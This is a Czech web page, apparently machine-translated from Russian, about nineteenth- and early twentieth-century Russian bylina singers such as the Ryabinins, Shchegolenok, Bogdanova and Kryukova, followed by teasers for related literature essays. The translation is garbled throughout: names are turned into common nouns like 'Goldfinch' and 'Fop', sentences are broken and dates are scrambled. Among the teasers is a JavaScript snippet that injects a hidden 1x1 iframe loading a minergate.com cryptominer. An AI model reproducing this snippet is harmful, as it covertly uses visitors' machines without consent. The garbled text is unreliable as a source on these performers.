A. E. Gruzinskij, připravující druhé vydání „Písně sebrané P. N. Rybnikovem“ (1909-1910), také uspořádal eposy podle zpěváků, s biografické informace. Při jejich sestavování použil Gruzinskij informace, které byly v Rybnikovově „Sběratelské poznámce“ a v Hilferdingově vydání.

Ve studiu vypravěčů pokračovali další badatelé. Na konci 19. a 20. stol. Na Sever putovaly nové folklorní výpravy.

Talentovaní vypravěči se těšili velké úctě a lásce svých posluchačů. Zachovaly se vzpomínky starších lidí, které svědčí o tom, že v konec XVIII- první polovina 19. stol. Rolníci s velkou pozorností naslouchali provádění eposů. Tak například jeden z vypravěčů, asi 80letý rolník, řekl P.N Rybnikovovi, že v minulosti byli vypravěči, kteří nebyli jako on: „... Také si pamatuje, jak to bývalo, že celý několikatisícový volost. duše, kterým se říkalo takový prastarý vypravěč, k ní přišly a nutily ho, aby vyprávěl staré příběhy, eposy a zážitky, a ona poslouchala všechny, mladé i staré, několik dní po sobě a zapomněla na práci na poli i na domácnost."

Další příklad. O prázdninách na Ladožském jezeře se rybáři shromáždili v jednom kruhu, aby poslouchali Trofima Grigorieviče Rjabinina. Když byl na řadě, aby měl službu na lodi, někdo ho nahradil a Trofim Grigorievich provedl eposy. "Kdybys k nám přišel, Trofime Grigorieviči," říkávali rybáři, "pracovali bychom pro tebe: kdybys nám to řekl a my bychom tě všichni poslouchali." Vypravěči prováděli eposy nejen v volný čas, ale i v práci. „Za starých časů se staříci a ženy scházeli, aby pletli sítě, a pak vypravěči, a zvláště Ilja Elustafjevič, začali zpívat eposy Začínali před soumrakem a zpívali, dokud pozdě v noci“ (z příběhu Kozmy Romanova).

Pohádkáři – selští krejčí prováděli při práci i eposy. Například Abram Evtikhiev (přezdívaný Bottle, z hřbitova Pudozh) chodil po vesnicích Zaonezhye, zabýval se krejčovstvím a neustále při práci zpíval eposy. V práci, v chatě Kizhan, jiný potulný rolnický krejčí, Shchegolenok, zpíval eposy.

Trofim Grigorievich Rjabinin (1791-1885) byl zakladatelem celé generace vypravěčů. Z jeho dětí se nejlépe naučil zpívat jeho nejmladší syn Ivan, který se později stal slavným vypravěčem (vystupoval v hledištích v Petrozavodsku, Petrohradu, Moskvě a dalších městech, cestoval do zahraničí). Od Ivana Trofimoviče Rjabinina převzal eposy jeho nevlastní syn Ivan Gerasimovič Rjabinin-Andreev. Od Ivana Gerasimoviče se eposy naučil jeho syn Petr Ivanovič Rjabinin-Andreev, stejně jako vnuk Ivana Trofimoviče Petr Vasiljevič Rjabinin a vnuk Trofima Grigorijeviče Kirik Gavrilovič Rjabinin.

Vypravěči Andrei Sorokin a Abram Evtikhiev převzali epické příběhy od svých otců. Jeho otec byl skvělý vypravěč.

Dostupnost rodinná tradice v 19. století byl zaznamenán i na Sibiři. V okolí Barnaulu se místní historik S.I. Guljajev setkal s rolníkem Leontym Gavrilovičem Tupitsynem, který provedl značné množství eposů. Repertoár zdědil po svém otci, který jej zase převzal od svého dědečka. Pradědeček Leontyho Gavriloviče pocházel „odněkud z Ruska“. V důsledku toho se v rodině Tupitsynů eposy uchovávaly po čtyři generace a přecházely z otce na syna. Leonty Gavrilovich měl sedm synů, ale žádný z nich nepřevzal eposy od svého otce a tradice přestala.

Ženy také předváděly eposy. Známý ve 20. století. vypravěčka Marfa Semenovna Kryukova (1876-1954) převzala eposy od své matky Agrafeny Matveevny Kryukové.

Na severu byly celé školy vypravěčů. Nejprve na ně upozornil A.F.Hilferding. „Mezi Kizhi a Tolvuya,“ napsal, „neexistují přirozené ani administrativní hranice a styl epických zpěváků v obou regionech je zcela zvláštní.<...>Proto si myslím, že Oněžské rapsody lze rozdělit takříkajíc do dvou škol – Kizhi a Tolvui-Povenets...“ Hilferding tento závěr potvrdil svědectvím samotných rolníků.

Ve vesnici Gorki na hřbitově Pudozhgorsky jsou chatrče dvou úžasných vypravěčů: Abrama Evtikhieva (Lahve) a Petra Kalinina. Kalinin zpíval epos o Dobrynyi jinak, než jak zpíval Abram Evtikhiev, což si posluchači všimli: „Jak zvláštní, dva tak blízcí sousedé, ale eposy jsou vyprávěny úplně jinak! Abram Evtikhiev okamžitě vysvětlil, co to způsobilo. „Petr Lukich,“ řekl, „rozuměl eposům od svého otce a já od svého otce nepocházím odtud, pochází z Kizhi, z Kosmozera a přestěhoval se se mnou na horu Pudozh, když mi bylo již 20 let; , proto zpívám eposy jako lidé z Kizhanu, a ne jako lidé zde. Hilferding dále vysvětlil rozdíl mezi oběma jmenovanými školami.

Následně se mnoho autorů zmínilo o školách vypravěčů, ale V.I. Chicherov. Čičerov identifikoval a charakterizoval tři školy vypravěčů ze Zaonezhye (kapitoly: „Elustafyevsko-Ryabininsky škola“, „Škola Konon ze Zyablye Nivy“, „Vypravěči Tolvuy a Povenets a kosmozerovská tradice eposů“).

Sběratel a badatel eposů severu A. M. Astakhova rozdělil vypravěče do tří typů. Do prvního zařadila ty, kteří texty převzali naprosto přesně) a v této podobě je provedla. Druhý typ zahrnoval vypravěče, kteří se pouze učili obecné schéma děj, vybrali typické pasáže a vyvinuli vlastní stálý text, který pečlivě uchovávali, obměňovali pouze detaily. Třetím typem jsou improvizátoři. Vzpomínání osnova zápletky, nevyvinuli ani nevytvořili stálý text, ale pokaždé jej změnili s využitím celého arzenálu zápletek, motivů, obrázků, vzorců, které vlastnili. Astakhova identifikovala tyto tři typy vypravěčů pomocí analýzy kreativity velké množství lidoví zpěváci který žil v 19. - 30. letech. XX století V prvním typu identifikovala Ivana Trofimoviče Ryabinina, ve druhém - Trofima Grigorieviče, ve třetím - Vasilije Petroviče Shchegolenok.

Zueva T.V., Kirdan B.P. Ruský folklór - M., 2002

Vypravěči eposů Vypravěči eposů

Následně žil Trofim Grigorievich jako dělník pro svého strýce Ignáce Andrejeva, rovněž vynikajícího zpěváka eposů. Převzal také eposy od jiných mistrů. Ze všech olonetských vypravěčů 19. století dal T. G. Rjabinin největší počet eposů od něj P. N. Rybnikov zaznamenal v 60. letech 18 textů, A. F. Hilferding v letech 1871 - 23, celkem je z Trofima Rjabinina známo 26 eposů s celkem zápletkou. objem až 6000 veršů. Jako umělec eposů lze Trofima Ryabinina nazvat jedním z nejlepších představitelů ruského klasického epického stylu. Eposy T. G. Rjabinina se vyznačují živými obrazy a bohatě zdobenými. Byl velkým mistrem ve výběru a používání všech vizuálních prostředků, plně vyhovoval epickým „rituálům“, tradičním epickým technikám vyvíjeným po staletí, ale používal je svobodně a kreativně, s velkým uměleckým taktem. Není bez důvodu, že mnoho textů T. G. Rjabinina vždy bylo a je zahrnuto jako nejlepší příklady epické tvořivosti v antologiích a antologiích, a právě z jeho eposů byly vždy převzaty příklady charakterizující hlavní rysy epického stylu. .

Vysoké umělecké dovednosti T. G. Rjabinina, která ho odlišuje od mnoha jiných vypravěčů z Oněžské oblasti, zaznamenali oba sběratelé, kteří jeho eposy zaznamenali. P. N. Rybnikov říká, že během představení eposů Rjabinina musel nejednou upustit pero a dychtivě naslouchat příběhu: „Každý předmět se objevil v jeho skutečném světle, každé slovo dostalo svůj vlastní význam.“ "Úžasná schopnost mluvit dávala zvláštní význam každému verši."1

O Rjabininově velkém osobním kouzlu hovoří i P. N. Rybnikov, který Trofimu Rjabininovi věnoval několik stránek ve své vynikající eseji o vypravěčích: „V jeho přísném pohledu, držení těla, úkloně, kroku, v celém jeho vzhledu byla na první pohled patrná klidná síla. a zdrženlivost."2

Jiný typ vypravěče představuje slavný olonecký zpěvák eposů téže doby Vasilij Petrovič Ščegolenok .

Elegantní muž byl o více než deset let mladší než T. G. Rjabinin. Jeho domovinou je vesnice Boyarshchina ve stejném Kizhi volost. Epické vyprávění se naučil částečně od svého dědečka, ale hlavně od strýce Timofeyho. Ten, beznohý invalida, žil se svým bratrem - Šchegolenokovým otcem. Od svého strýce se Dapper vyučil také obuvnickému řemeslu, kterému se věnoval vedle farmaření.

V.P. Shchegolenok je vypravěč s výrazným improvizačním nádechem. Od něho bylo v různých dobách a od různých sběratelů zaznamenáno 14 eposů; 10 z nich je zaznamenáno v několika verzích, což jasně ukazuje, že Goldfinch neměl jedinou stabilní verzi stejného spiknutí. Pokaždé zazpíval tentýž epos úplně jinak, změnil nejen jednotlivá místa, ale celý text jako celek.

Na rozdíl od T. G. Rjabinina, který dal výjimečně harmonické a jasné kompozice, Shchegolenok obohatil eposy o motivy a epizody z jiných eposů a rád kombinoval různá témata. Přes veškerý svůj kreativní, inovativní přístup k materiálu zůstal Rjabinin věrný lidové tradici. Fop od ní často ustupoval. Dal dohromady epické hrdiny, kteří se obvykle nikdy nepotkali, a nahradil tradiční hrdiny jinými epickými jmény.

Bylo to očividně dáno tím, že byl především vypravěčem příběhů. Stehlík zpíval eposy podle Hilferdinga „ne nahlas, ale docela příjemně, i když už senilním hlasem“.

V 90. letech 19. století začal syn Trofima Rjabinina vystupovat mimo svou rodnou zemi. Ivan Trofimovič Rjabinin. Nejednou přijel do Petrohradu a Moskvy; Vystupoval i v dalších městech a v roce 1902 podnikl svou slavnou cestu k jižním Slovanům.

Na rozdíl od svého otce patřil Ivan Trofimovič Rjabinin k té kategorii vypravěčů, kteří při zvládnutí eposů neprojevovali samostatnou kreativitu. Nevyvíjeli nová, vlastní vydání, ale zcela přijali text od svého učitele. Verze I. T. Rjabinina se od textu jeho otce liší jen málo. Při vystupování provedl jen drobné změny - nepodstatné přeskupení epizod, nahrazení jednoho slova jiným atd. Je příznačné, že eposy Ivana Trofimoviče mají blíže k textům Trofima Rjabinina v Rybnikovově nahrávce než k pozdějším vydáním Hilferdingu. V důsledku toho, když Ivan Rjabinin v mládí převzal eposy od svého otce, pevně a pečlivě uchoval získané dědictví a vyhnul se dokonce i variacím, které zavedl jeho otec. Při svých vystoupeních vždy rezolutně protestoval proti požadavkům zkrátit text, zazpívat jen jeho část nebo vyhodit „nevhodné pasáže“. Podle vzpomínek jeho současníků byl I. T. Rjabinin vynikajícím umělcem, jeho zpěv eposů měl vždy velký dojem.

Repertoár Ivana Trofimoviče byl poměrně rozsáhlý, i když v tomto ohledu byl horší než repertoár jeho otce. Znal 16 zápletek eposů a starších historických písní Bohužel je od něj známo pouze 6 zápletek.

Na počátku 20. století se objevily první zprávy o křičícím a vypravěči Nastasya Stepanovna Bogdanova (Zinovieva) z vesnice Konda do Zaonezhye

Během těchto let N. S. Bogdanova vystupovala na pozvání ve školách a dalších institucích v Petrozavodsku.

Rozkvět činnosti N. S. Bogdanova jako vypravěče se datuje do první čtvrtiny 20.

V 00. letech z ní pořizoval nahrávky N. Šajžin, později účastníci expedic Státní akademie věd o umění a Státního ústavu dějin umění v roce 1926 a v dalších letech. N. S. Bogdanova zemřel v roce 1937.

Znalosti N. S. Bogdanové v oblasti lidové poezie byly mimořádně všestranné. Kromě epiky byla velkou mistryní starověkých pověstí a lidových lyrických písní, znala pohádky, duchovní básně, hádanky; její řeč byla poseta příslovími a rčeními. Ze všeho nejvíc milovala eposy a byla hluboce přesvědčena o historické přesnosti jejich obsahu. Její epický repertoár je malý - pouze 10 eposů, ale její texty se vyznačují velkou originalitou.

Jestliže Rjabininové byli především mistry hrdinského eposu, pak N. S. Bogdanova pěstovala zejména eposy s romantickým a rodinným obsahem (o neúspěšném manželství Aljoši Popoviče, o Dunaji, o Churilu a nevěrné manželce Permyatově atd.), pokračující a rozvíjí tak další linii epické tradice Oněžské oblasti

V eposech Nastasya Stepanovna pečlivě rozvíjela dialogy a detaily jednotlivých epizod, posilovala psychologické aspekty a umělecké popisy. Speciálně rozpracován byl její nejoblíbenější epos - o Dobrynyi a Aljošovi, který patří k nejlepším adaptacím této zápletky.

Vypravěčská činnost třetího představitele slavného vypravěčského rodu, Rjabininů, sahá až do první čtvrtiny 20. století. Ivan Gerasimovič Rjabinin-Andreev, nevlastní syn Ivana Trofimoviče. Ivan Gerasimovič zdědil své epické znalosti od svého nevlastního otce, se kterým žil až do svých 23 let. Následně se Ivan Gerasimovič stal významným mistrem epického umění. Záznamy Ivana Gerasimoviče z roku 1921 ukázaly, že téměř úplně převzal epický repertoár svého nevlastního otce (v jeho repertoáru chyběly pouze eposy o Khotenovi a dvě historické písně - o Ivanu Hrozném a o Skopinovi). Od svého nevlastního otce převzal melodie, které také sahají k Trofimu Rjabininovi, a všechny charakteristické rysy představení.

Ivan Rjabinin, stejně jako jeho otec a děd, patřil k představitelům klasického stylu epického představení. Vždy zpíval své eposy a jejich texty se vyznačují jasným a přesným rytmem. Všechny hlavní ideologické a umělecké rysy, které poznamenaly epos starší Rjabininů, se vyznačují také texty Ivana Gerasimoviče: zvláštní důraz na hrdinskou linii a zároveň zájem a pozornost k sociálním aspektům, jasnost hlavního konceptu a sociální nápad, přísně konzistentní obrazy hrdinů a jejich nepřátel, úplnost a umělecké popisy, harmonie a jasnost kompozice. I. G. Rjabinin-Andreev je citlivým a přemýšlivým strážcem rodinné epické tradice. Změny, které provedl, se projevily pouze v přechodu z jednoho eposu do druhého některých popisů, slovních formulí, „všedních míst“, v určité aktualizaci slovní zásoby a navíc ve znatelném posílení dialogu.

V podstatě se nezměnil pouze dějový vývoj samotného eposu, ale také umělecká slovesná tkanina vyvinutá starším Rjabininem. Ivan Gerasimovič zemřel v roce 1926.

Stránky: 1 2

Vynikajícím vypravěčem z konce 19. a počátku 20. století byl také bělomořský umělec eposů Agrafena Matveevna Kryukova(1855–1921). Celý její obrovský repertoár (60 textů eposů a historických písní) nahrál již v roce 1900 A. V. Markov, když bylo vypravěči 45 let. Epický repertoár A. M. Kryukové je ᴄᴫᴏmanželky jak svým složením, tak původem

Odráží dvě místní tradice – Terské pobřeží, odkud vypravěčka pocházela, a Zimnaja Zolotitsa, kde se provdala. Jejími učiteli doma byli především její matka a její milovaný strýc z matčiny strany Efim Strelkov; kromě toho se učila od jiných starých lidí a také od svých přátel

V Winter Zolotitsa, kde bylo provádění eposů běžným jevem, přijala eposy od svého tchána Vasilije Leontyeviče, jeho bratra Gavrily a dalších starých lidí. Své znalosti si doplnila později, učila se i od svých dcer - Marty a Pavly

Skladbu a povahu repertoáru A. M. Kryukové přitom nepochybně ovlivnily i vydávání eposů z jiných regionů, které do vesnice pronikaly v různých levných vydáních od konce 19. století. Protože byla Agrafena Kryuková negramotná, ráda poslouchala čtení a učila se nové eposy buď přímo z knihy, nebo od jiných vypravěčů v rodině, kteří si doplňovali své epické znalosti z knih.

Eposy a historické písně nahrané A. M. Kryukovou celkem přesahují 10 000 básní.

Agrafena Matveevna zpívala všechny své eposy, podle Markova, „spíše slabým, ale příjemným hlasem, přičemž dobře zachovala poetický metr. Většinu eposů provedla na stejnou melodii.

Život A. M. Kryukové, této vynikající, nadané básnířky, byl smutný

V početné rodině Kryukovů zastávala podřízenou, závislou pozici a hodně trpěla útlakem ze strany starších žen v rodině. Během americko-britské intervence musela Kryukova zažít chudobu a hlad, což ji přivedlo do hrobu (zemřela v roce 1921). Její talent a znalosti zdědily dvě její dcery - Marfa Semjonovna a Pavel Semjonovna, především první, nejstarší a především její matkou milovaná.

Lze jmenovat mnoho dalších vynikajících umělců ruského eposu. Nadaný ruský lid dal národní kultuře řadu talentovaných mistrů epického umění, kteří byli strážci poetického dědictví minulosti a tvořivě přispěli k obecné pokladnici lidové poezie. Byli představiteli národních ideových a uměleckých směrů a silou svého talentu prohlubovali a zdokonalovali to, co lid vytvořil. S největšími obrazy ruského eposu, ztělesňujícími myšlenky vlastenectví a lidskosti, vypravěči vychovali nejlepší vlastnosti lidí, jejich vysoké estetické a mravní ideály. ( Na základě článku A. M. Astakhova „Vypravěči eposů, jejich umělecká dovednost“ Ruská lidová poetická tvořivost. – M.; L., 1956. – T. 2. – Kniha 2.) Vypravěči eposů

Stránky: 1 2

Strana 1 z 1

Umělecká originalita ruského eposu „Ilya Muromets a slavík lupič“

1.Ruský lid orální tvořivost. 2. Umělecké vlastnosti Ruský epos Ilja Muromec a slavík lupič. 3. Role eposů v životě lidí. Eposy, aneb starověké pohádky, či starožitnosti, jak se jim až do 19. století říkalo, představují jednu z oblastí folklóru. Často se zpívaly za doprovodu gusli a vyprávěly se o velkých hrdinech, lidoví hrdinové nebo významné události z historie starověká Rus. Tato díla se předávala ústně z generace na generaci. Celé rodiny byly proslulé svou dovedností v provádění eposů. Takže například několik generací rodiny Ryabininů se zabývalo vyprávěním eposů. Zástupce rodiny Kryukovů třicet dní zpíval díla ústního lidového umění sběrateli folklóru a nikdy se neopakoval. Nebylo tolik hrdinů eposů a všechny lze rozdělit do dvou skupin: více starověkých hrdinů - Volkhv Vseslavyevich, Svyatogor, Volha a Mikula Selyaninovich a další moderní obrazy- Ilya Muromets, Dobrynya Nikitich a Alyosha Popovich....

Vzrušující příběhy hrdinských časů. Vztah mezi skutečným a uměleckým světem v eposech o Kyjevské Rusi

(function() ( var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); ...

Suchovo-Kobylin, Pisemsky a menší dramatici

Ostrovskému se přiblížili jen dva autoři, když ne kvantitou, tak kvalitou svých děl, a to Suchovo-Kobylin a Pisemskij, oba tradičnější, „umělejší“ a teatrálnější než on. Alexandr Vasiljevič Suchovo-Kobylin (1817–1903) byl typický vzdělaný šlechtic své generace, prodchnutý Hegelem a německým idealismem. Za své pravé poslání považoval metafyziku, přeložil celého Hegela do ruštiny a mnoho let pracoval na originálu filozofické dílo v hegelovském duchu. Jeho rukopisy se ale ztratily při požáru a v tisku po něm nezůstaly žádné stopy. filozofická díla. Psaní her bylo pouze krátká epizoda v jeho životě. Zarážející je, že ani jeho metafyzické sklony, ani nedostatek profesionality v dramatu neměly na jeho hry žádný vliv. Jsou překvapivě bez nápadů a co se týče jevištního projevu, nemají v ruštině soupeře literární drama. Jediný důležitá událost V životě Suchovo-Kobylin došlo v roce 1850 k vraždě jeho francouzské milenky, ke které byl hluboce spjat. Byl podezřelý z tohoto zločinu a sedm let byl před soudem (a nějakou dobu ve vězení); teprve v roce 1857 byl konečně zproštěn viny. Tato epizoda, která ho postavila tváří v tvář hrůzám a absurditám předreformních soudů, zanechala hlubokou stopu v jeho duši a vštípila mu onu zlovolnou nenávist k celé třídě úředníků, která naplňuje jeho poslední dvě hry. Celým jeho dramatickým dědictvím jsou tři komedie: ...

Myšlenka ochrany ruské země v dílech ústního lidového umění (pohádka, epos, píseň)

Literatura - 9. třída Myšlenka ochrany ruské země v dílech ústního lidového umění (pohádka, epos, píseň). Myšlenky a pocity ruského lidu jsou ztělesněny v eposech. Eposy nejen uspokojily přirozenou přitažlivost všeho barevného, neobvyklého, mimořádného, ale svým způsobem vyjadřovaly společenskou tvorbu celé historické epochy....

Motivy pohádek a epiky v poezii A.S. Puškin

Esej o díle „The Tale of mrtvá princezna" V „Příběhu mrtvé princezny“ se objevuje zobecněný obraz hrdinů. Dokonce i v „Ruslan a Lyudmila“ se motivy spojily pohádka A hrdinský epos. To je také typické pro „Příběh cara Saltana“. Ale „hezcí odvážlivci“, „mladí obři“, „třiatřicet hrdinů“ v čele se strýcem Chernomorem jsou kouzelnými pomocníky prince Guidona a „sedm hrdinů“, „sedm zrzavých knírů“ jsou zobrazeni jako skuteční. dobroty. Jisté tajemství samozřejmě obklopuje hrdiny z „Příběhu mrtvé princezny“. Nevíme nic o jejich minulosti, o tom, co je přimělo žít v divočině, hluboký les. A jejich záležitosti nesou jistý otisk tajemství. Není to tak, že by to byli „svobodní lidé“ urozených lupičů, který se mstil utlačovatelům a skrýval se před autokratickou mocí, nebo obráncům ruské země před vnější nepřátelé. Soročinové, Tataři, Pjatigorští Čerkesi - všichni, kdo se staví proti hrdinům v Puškinově pohádce, jsou také nepřáteli hrdinů ruských eposů a historických písní....